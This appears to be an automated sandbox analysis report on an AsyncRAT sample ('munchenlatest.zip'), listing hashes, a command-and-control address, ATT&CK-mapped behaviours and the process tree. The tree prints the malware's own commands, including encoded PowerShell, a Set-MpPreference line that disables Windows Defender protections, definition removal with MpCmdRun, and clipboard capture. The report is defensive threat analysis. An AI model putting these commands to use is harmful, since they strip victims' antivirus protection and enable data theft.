asyncrat | 7b97c5e022c4225bfc79606d9dcc30c0d8b9bac4a8fcbd60a2236cf1db0305d9

Analysis

max time kernel
59s
max time network
75s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
28-10-2024 18:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

munchenlatest.zip
Size

8.8MB
MD5

8a426208fc37e756dffd738ecb77b305
SHA1

d06b79e9fb69d443da7d1ffe8dbf2c6992e64c4b
SHA256

7b97c5e022c4225bfc79606d9dcc30c0d8b9bac4a8fcbd60a2236cf1db0305d9
SHA512

6caa2f63c0341fa91f9bc142071b022f46b5b4d084b57419066b02b8fd535478fbb16528dfc4354ef510e027cbe6aa7f3b10738a0c0482db3df1cab404b97d9b
SSDEEP

196608:EQuDY9mHqfFqhwz7koW/qrerJaJyHCrg4Kd0HDFQz2nkVONDsNIy:EZDYwHLyPkV2eV6yyOAeQkVImF

Score

10^/10

asyncrat guppies collection credential_access defense_evasion discovery evasion execution persistence privilege_escalation rat spyware stealer upx

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Guppies

198.98.58.93:999

Mutex

SYSTEMSPOOF

Attributes

delay
1
install
true
install_file
Core Sound Service.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059

Processes:

MpCmdRun.exe

pid process

4484 MpCmdRun.exe

pid	process
4484	MpCmdRun.exe

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Core Sound Service.exe	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

4720 powershell.exe
1208 powershell.exe
1684 powershell.exe
4120 powershell.exe

pid	process
4720	powershell.exe
1208	powershell.exe
1684	powershell.exe
4120	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

munchenlatest.exerundii32.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4074627901-37362009-3519777259-1000\Control Panel\International\Geo\Nation	munchenlatest.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4074627901-37362009-3519777259-1000\Control Panel\International\Geo\Nation	rundii32.exe

Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
collection

Clipboard Data
T1115

Processes:

cmd.exepowershell.exe

pid process

3528 cmd.exe
4360 powershell.exe
Executes dropped EXE 6 IoCs

Processes:

munchenlatest.exerundii32.exerundii.exeCore Sound Service.exesplwow64.exerundii.exe

pid process

3428 munchenlatest.exe
440 rundii32.exe
2412 rundii.exe
2828 Core Sound Service.exe
2532 splwow64.exe
1740 rundii.exe

pid	process
3528	cmd.exe
4360	powershell.exe

pid	process
3428	munchenlatest.exe
440	rundii32.exe
2412	rundii.exe
2828	Core Sound Service.exe
2532	splwow64.exe
1740	rundii.exe

Loads dropped DLL 17 IoCs

Processes:

rundii.exe

pid	process
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe
1740	rundii.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

30 ip-api.com
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates processes with tasklist 1 TTPs 4 IoCs
discovery

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exe

pid process

1576 tasklist.exe
2044 tasklist.exe
3108 tasklist.exe
2756 tasklist.exe

flow	ioc
30	ip-api.com

pid	process
1576	tasklist.exe
2044	tasklist.exe
3108	tasklist.exe
2756	tasklist.exe

UPX packed file 60 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI24122\python310.dll	upx
behavioral1/memory/1740-129-0x00007FFA7A9B0000-0x00007FFA7AE16000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI24122\_ctypes.pyd	upx
behavioral1/memory/1740-178-0x00007FFA8FCA0000-0x00007FFA8FCAF000-memory.dmp	upx
behavioral1/memory/1740-177-0x00007FFA8BBD0000-0x00007FFA8BBF4000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI24122\libssl-1_1.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI24122\libcrypto-1_1.dll	upx
behavioral1/memory/1740-196-0x00007FFA8BB40000-0x00007FFA8BB6C000-memory.dmp	upx
behavioral1/memory/1740-204-0x00007FFA79BB0000-0x00007FFA79D2A000-memory.dmp	upx
behavioral1/memory/1740-219-0x00007FFA8FC70000-0x00007FFA8FC7D000-memory.dmp	upx
behavioral1/memory/1740-218-0x00007FFA8BD20000-0x00007FFA8BD39000-memory.dmp	upx
behavioral1/memory/1740-222-0x00007FFA79770000-0x00007FFA79828000-memory.dmp	upx
behavioral1/memory/1740-221-0x00007FFA79830000-0x00007FFA79BA9000-memory.dmp	upx
behavioral1/memory/1740-227-0x00007FFA8BBD0000-0x00007FFA8BBF4000-memory.dmp	upx
behavioral1/memory/1740-226-0x00007FFA79650000-0x00007FFA79768000-memory.dmp	upx
behavioral1/memory/1740-225-0x00007FFA8FBA0000-0x00007FFA8FBAD000-memory.dmp	upx
behavioral1/memory/1740-224-0x00007FFA8BBB0000-0x00007FFA8BBC5000-memory.dmp	upx
behavioral1/memory/1740-223-0x00007FFA7A9B0000-0x00007FFA7AE16000-memory.dmp	upx
behavioral1/memory/1740-220-0x00007FFA8A960000-0x00007FFA8A98E000-memory.dmp	upx
behavioral1/memory/1740-199-0x00007FFA8C080000-0x00007FFA8C09F000-memory.dmp	upx
behavioral1/memory/1740-198-0x00007FFA8CE50000-0x00007FFA8CE68000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI24122\libffi-7.dll	upx
behavioral1/memory/1740-230-0x00007FFA8C080000-0x00007FFA8C09F000-memory.dmp	upx
behavioral1/memory/1740-231-0x00007FFA79BB0000-0x00007FFA79D2A000-memory.dmp	upx
behavioral1/memory/1740-300-0x00007FFA8BD20000-0x00007FFA8BD39000-memory.dmp	upx
behavioral1/memory/1740-348-0x00007FFA79770000-0x00007FFA79828000-memory.dmp	upx
behavioral1/memory/1740-337-0x00007FFA7A9B0000-0x00007FFA7AE16000-memory.dmp	upx
behavioral1/memory/1740-352-0x00007FFA8A960000-0x00007FFA8A98E000-memory.dmp	upx
behavioral1/memory/1740-355-0x00007FFA79830000-0x00007FFA79BA9000-memory.dmp	upx
behavioral1/memory/4120-561-0x00007FFA7B160000-0x00007FFA7B5C6000-memory.dmp	upx
behavioral1/memory/4120-572-0x00007FFA8AF40000-0x00007FFA8AF4F000-memory.dmp	upx
behavioral1/memory/4120-571-0x00007FFA82970000-0x00007FFA82994000-memory.dmp	upx
behavioral1/memory/1740-585-0x00007FFA79BB0000-0x00007FFA79D2A000-memory.dmp	upx
behavioral1/memory/1740-584-0x00007FFA8C080000-0x00007FFA8C09F000-memory.dmp	upx
behavioral1/memory/1740-580-0x00007FFA8BBD0000-0x00007FFA8BBF4000-memory.dmp	upx
behavioral1/memory/4120-597-0x00007FFA7AFC0000-0x00007FFA7B13A000-memory.dmp	upx
behavioral1/memory/4120-596-0x00007FFA7B140000-0x00007FFA7B15F000-memory.dmp	upx
behavioral1/memory/4120-595-0x00007FFA7B740000-0x00007FFA7B758000-memory.dmp	upx
behavioral1/memory/1740-579-0x00007FFA7A9B0000-0x00007FFA7AE16000-memory.dmp	upx
behavioral1/memory/4120-594-0x00007FFA7B760000-0x00007FFA7B78C000-memory.dmp	upx
behavioral1/memory/4120-600-0x00007FFA7AF70000-0x00007FFA7AF9E000-memory.dmp	upx
behavioral1/memory/4120-601-0x00007FFA7A8F0000-0x00007FFA7A9A8000-memory.dmp	upx
behavioral1/memory/4120-622-0x00007FFA7B160000-0x00007FFA7B5C6000-memory.dmp	upx
behavioral1/memory/4120-632-0x00007FFA82970000-0x00007FFA82994000-memory.dmp	upx
behavioral1/memory/4120-631-0x00007FFA7A8F0000-0x00007FFA7A9A8000-memory.dmp	upx
behavioral1/memory/4120-630-0x00007FFA7AF70000-0x00007FFA7AF9E000-memory.dmp	upx
behavioral1/memory/4120-629-0x00007FFA8A5B0000-0x00007FFA8A5BD000-memory.dmp	upx
behavioral1/memory/4120-628-0x00007FFA7AFA0000-0x00007FFA7AFB9000-memory.dmp	upx
behavioral1/memory/4120-627-0x00007FFA7AFC0000-0x00007FFA7B13A000-memory.dmp	upx
behavioral1/memory/4120-626-0x00007FFA7B140000-0x00007FFA7B15F000-memory.dmp	upx
behavioral1/memory/4120-625-0x00007FFA7B740000-0x00007FFA7B758000-memory.dmp	upx
behavioral1/memory/4120-624-0x00007FFA7B760000-0x00007FFA7B78C000-memory.dmp	upx
behavioral1/memory/4120-623-0x00007FFA8AF40000-0x00007FFA8AF4F000-memory.dmp	upx
behavioral1/memory/4120-619-0x00007FFA7A570000-0x00007FFA7A8E9000-memory.dmp	upx
behavioral1/memory/4120-606-0x00007FFA850F0000-0x00007FFA850FD000-memory.dmp	upx
behavioral1/memory/4120-605-0x00007FFA7AF50000-0x00007FFA7AF65000-memory.dmp	upx
behavioral1/memory/4120-604-0x00007FFA7B160000-0x00007FFA7B5C6000-memory.dmp	upx
behavioral1/memory/4120-602-0x00007FFA7A570000-0x00007FFA7A8E9000-memory.dmp	upx
behavioral1/memory/4120-599-0x00007FFA8A5B0000-0x00007FFA8A5BD000-memory.dmp	upx
behavioral1/memory/4120-598-0x00007FFA7AFA0000-0x00007FFA7AFB9000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

rundii32.exepowershell.exemunchenlatest.exepowershell.exepowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundii32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	munchenlatest.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

netsh.execmd.exe

pid process

4576 netsh.exe
2348 cmd.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

4628 WMIC.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

4812 systeminfo.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

864 schtasks.exe

pid	process
4576	netsh.exe
2348	cmd.exe

pid	process
4628	WMIC.exe

pid	process
4812	systeminfo.exe

pid	process
864	schtasks.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeWMIC.exepowershell.exepowershell.exepowershell.exe

pid	process
4228	powershell.exe
232	powershell.exe
1400	powershell.exe
4228	powershell.exe
1400	powershell.exe
232	powershell.exe
232	powershell.exe
4720	powershell.exe
4720	powershell.exe
3020	WMIC.exe
3020	WMIC.exe
3020	WMIC.exe
3020	WMIC.exe
1208	powershell.exe
1208	powershell.exe
4360	powershell.exe
4360	powershell.exe
692	powershell.exe
692	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

7zFM.exe

pid process

2940 7zFM.exe

pid	process
2940	7zFM.exe

Suspicious use of AdjustPrivilegeToken 55 IoCs

Processes:

7zFM.exepowershell.exepowershell.exepowershell.exetasklist.exetasklist.exepowershell.exepowershell.exeWMIC.exetasklist.exepowershell.exepowershell.exe

description	pid	process
Token: SeRestorePrivilege	2940	7zFM.exe
Token: 35	2940	7zFM.exe
Token: SeSecurityPrivilege	2940	7zFM.exe
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeDebugPrivilege	232	powershell.exe
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	2044	tasklist.exe
Token: SeDebugPrivilege	1576	tasklist.exe
Token: SeDebugPrivilege	4720	powershell.exe
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeIncreaseQuotaPrivilege	3020	WMIC.exe
Token: SeSecurityPrivilege	3020	WMIC.exe
Token: SeTakeOwnershipPrivilege	3020	WMIC.exe
Token: SeLoadDriverPrivilege	3020	WMIC.exe
Token: SeSystemProfilePrivilege	3020	WMIC.exe
Token: SeSystemtimePrivilege	3020	WMIC.exe
Token: SeProfSingleProcessPrivilege	3020	WMIC.exe
Token: SeIncBasePriorityPrivilege	3020	WMIC.exe
Token: SeCreatePagefilePrivilege	3020	WMIC.exe
Token: SeBackupPrivilege	3020	WMIC.exe
Token: SeRestorePrivilege	3020	WMIC.exe
Token: SeShutdownPrivilege	3020	WMIC.exe
Token: SeDebugPrivilege	3020	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3020	WMIC.exe
Token: SeRemoteShutdownPrivilege	3020	WMIC.exe
Token: SeUndockPrivilege	3020	WMIC.exe
Token: SeManageVolumePrivilege	3020	WMIC.exe
Token: 33	3020	WMIC.exe
Token: 34	3020	WMIC.exe
Token: 35	3020	WMIC.exe
Token: 36	3020	WMIC.exe
Token: SeDebugPrivilege	3108	tasklist.exe
Token: SeDebugPrivilege	4360	powershell.exe
Token: SeDebugPrivilege	692	powershell.exe
Token: SeIncreaseQuotaPrivilege	3020	WMIC.exe
Token: SeSecurityPrivilege	3020	WMIC.exe
Token: SeTakeOwnershipPrivilege	3020	WMIC.exe
Token: SeLoadDriverPrivilege	3020	WMIC.exe
Token: SeSystemProfilePrivilege	3020	WMIC.exe
Token: SeSystemtimePrivilege	3020	WMIC.exe
Token: SeProfSingleProcessPrivilege	3020	WMIC.exe
Token: SeIncBasePriorityPrivilege	3020	WMIC.exe
Token: SeCreatePagefilePrivilege	3020	WMIC.exe
Token: SeBackupPrivilege	3020	WMIC.exe
Token: SeRestorePrivilege	3020	WMIC.exe
Token: SeShutdownPrivilege	3020	WMIC.exe
Token: SeDebugPrivilege	3020	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3020	WMIC.exe
Token: SeRemoteShutdownPrivilege	3020	WMIC.exe
Token: SeUndockPrivilege	3020	WMIC.exe
Token: SeManageVolumePrivilege	3020	WMIC.exe
Token: 33	3020	WMIC.exe
Token: 34	3020	WMIC.exe
Token: 35	3020	WMIC.exe
Token: 36	3020	WMIC.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

7zFM.exe

pid process

2940 7zFM.exe
2940 7zFM.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

munchenlatest.exerundii32.exerundii.exerundii.exe

pid process

3428 munchenlatest.exe
440 rundii32.exe
2412 rundii.exe
1740 rundii.exe

pid	process
2940	7zFM.exe
2940	7zFM.exe

pid	process
3428	munchenlatest.exe
440	rundii32.exe
2412	rundii.exe
1740	rundii.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

munchenlatest.exerundii32.exerundii.exerundii.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 3428 wrote to memory of 4228	3428	munchenlatest.exe	powershell.exe
PID 3428 wrote to memory of 4228	3428	munchenlatest.exe	powershell.exe
PID 3428 wrote to memory of 4228	3428	munchenlatest.exe	powershell.exe
PID 3428 wrote to memory of 1400	3428	munchenlatest.exe	powershell.exe
PID 3428 wrote to memory of 1400	3428	munchenlatest.exe	powershell.exe
PID 3428 wrote to memory of 1400	3428	munchenlatest.exe	powershell.exe
PID 3428 wrote to memory of 440	3428	munchenlatest.exe	rundii32.exe
PID 3428 wrote to memory of 440	3428	munchenlatest.exe	rundii32.exe
PID 3428 wrote to memory of 440	3428	munchenlatest.exe	rundii32.exe
PID 440 wrote to memory of 232	440	rundii32.exe	powershell.exe
PID 440 wrote to memory of 232	440	rundii32.exe	powershell.exe
PID 440 wrote to memory of 232	440	rundii32.exe	powershell.exe
PID 440 wrote to memory of 2412	440	rundii32.exe	rundii.exe
PID 440 wrote to memory of 2412	440	rundii32.exe	rundii.exe
PID 440 wrote to memory of 2532	440	rundii32.exe	splwow64.exe
PID 440 wrote to memory of 2532	440	rundii32.exe	splwow64.exe
PID 440 wrote to memory of 2828	440	rundii32.exe	cmd.exe
PID 440 wrote to memory of 2828	440	rundii32.exe	cmd.exe
PID 2412 wrote to memory of 1740	2412	rundii.exe	rundii.exe
PID 2412 wrote to memory of 1740	2412	rundii.exe	rundii.exe
PID 1740 wrote to memory of 824	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 824	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 3704	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 3704	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 2500	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 2500	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 2264	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 2264	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 2092	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 2092	1740	rundii.exe	cmd.exe
PID 2264 wrote to memory of 1576	2264	cmd.exe	tasklist.exe
PID 2264 wrote to memory of 1576	2264	cmd.exe	tasklist.exe
PID 1740 wrote to memory of 3528	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 3528	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 1448	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 1448	1740	rundii.exe	cmd.exe
PID 2500 wrote to memory of 2044	2500	cmd.exe	tasklist.exe
PID 2500 wrote to memory of 2044	2500	cmd.exe	tasklist.exe
PID 1740 wrote to memory of 5040	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 5040	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 2348	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 2348	1740	rundii.exe	cmd.exe
PID 3704 wrote to memory of 1208	3704	cmd.exe	powershell.exe
PID 3704 wrote to memory of 1208	3704	cmd.exe	powershell.exe
PID 1740 wrote to memory of 2060	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 2060	1740	rundii.exe	cmd.exe
PID 824 wrote to memory of 4720	824	cmd.exe	powershell.exe
PID 824 wrote to memory of 4720	824	cmd.exe	powershell.exe
PID 1740 wrote to memory of 3436	1740	rundii.exe	Conhost.exe
PID 1740 wrote to memory of 3436	1740	rundii.exe	Conhost.exe
PID 1740 wrote to memory of 3964	1740	rundii.exe	cmd.exe
PID 1740 wrote to memory of 3964	1740	rundii.exe	cmd.exe
PID 2092 wrote to memory of 3020	2092	cmd.exe	cmd.exe
PID 2092 wrote to memory of 3020	2092	cmd.exe	cmd.exe
PID 3528 wrote to memory of 4360	3528	cmd.exe	powershell.exe
PID 3528 wrote to memory of 4360	3528	cmd.exe	powershell.exe
PID 5040 wrote to memory of 1924	5040	cmd.exe	tree.com
PID 5040 wrote to memory of 1924	5040	cmd.exe	tree.com
PID 1448 wrote to memory of 3108	1448	cmd.exe	tasklist.exe
PID 1448 wrote to memory of 3108	1448	cmd.exe	tasklist.exe
PID 2348 wrote to memory of 4576	2348	cmd.exe	netsh.exe
PID 2348 wrote to memory of 4576	2348	cmd.exe	netsh.exe
PID 3436 wrote to memory of 1128	3436	cmd.exe	reg.exe
PID 3436 wrote to memory of 1128	3436	cmd.exe	reg.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exe

pid process

3020 attrib.exe
4724 attrib.exe

pid	process
3020	attrib.exe
4724	attrib.exe

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\munchenlatest.zip"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2940

C:\Users\Admin\Desktop\munchenlatest.exe
"C:\Users\Admin\Desktop\munchenlatest.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3428

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAbABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGUAdwB1ACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGUAIABwAHIAbwBnAHIAYQBtACAAYwBhAG4AJwAnAHQAIABzAHQAYQByAHQAIABiAGUAYwBhAHUAcwBlACAATQBTAFYAQwBQADEANAAwAC4AZABsAGwAIABpAHMAIABtAGkAcwBzAGkAbgBnACAAZgByAG8AbQAgAHkAbwB1AHIAIABjAG8AbQBwAHUAdABlAHIALgAgAFQAcgB5ACAAcgBlAGkAbgBzAHQAYQBsAGwAaQBuAGcAIAB0AGgAZQAgAHAAcgBvAGcAcgBhAG0AIAB0AG8AIABmAGkAeAAgAHQAaABpAHMAIABwAHIAbwBiAGwAZQBtAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHQAYgBlACMAPgA="
2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4228

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAeABlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHAAYgB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAdQBwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAaABzACMAPgA="
2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1400

C:\Users\Admin\AppData\Local\Temp\rundii32.exe
"C:\Users\Admin\AppData\Local\Temp\rundii32.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:440

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAbQB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAcwB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAdgBoACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABjACMAPgA="
3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:232

C:\Users\Admin\AppData\Local\Temp\rundii.exe
"C:\Users\Admin\AppData\Local\Temp\rundii.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2412

C:\Users\Admin\AppData\Local\Temp\rundii.exe
"C:\Users\Admin\AppData\Local\Temp\rundii.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1740

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\rundii.exe'"
5⤵
- Suspicious use of WriteProcessMemory
PID:824

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\rundii.exe'
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4720

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
5⤵
- Suspicious use of WriteProcessMemory
PID:3704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1208

C:\Program Files\Windows Defender\MpCmdRun.exe
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
6⤵
- Deletes Windows Defender Definitions
PID:4484

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
5⤵
- Suspicious use of WriteProcessMemory
PID:2500

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2044

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
5⤵
- Suspicious use of WriteProcessMemory
PID:2264

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1576

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
5⤵
- Suspicious use of WriteProcessMemory
PID:2092

C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3020

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
5⤵
- Clipboard Data
- Suspicious use of WriteProcessMemory
PID:3528

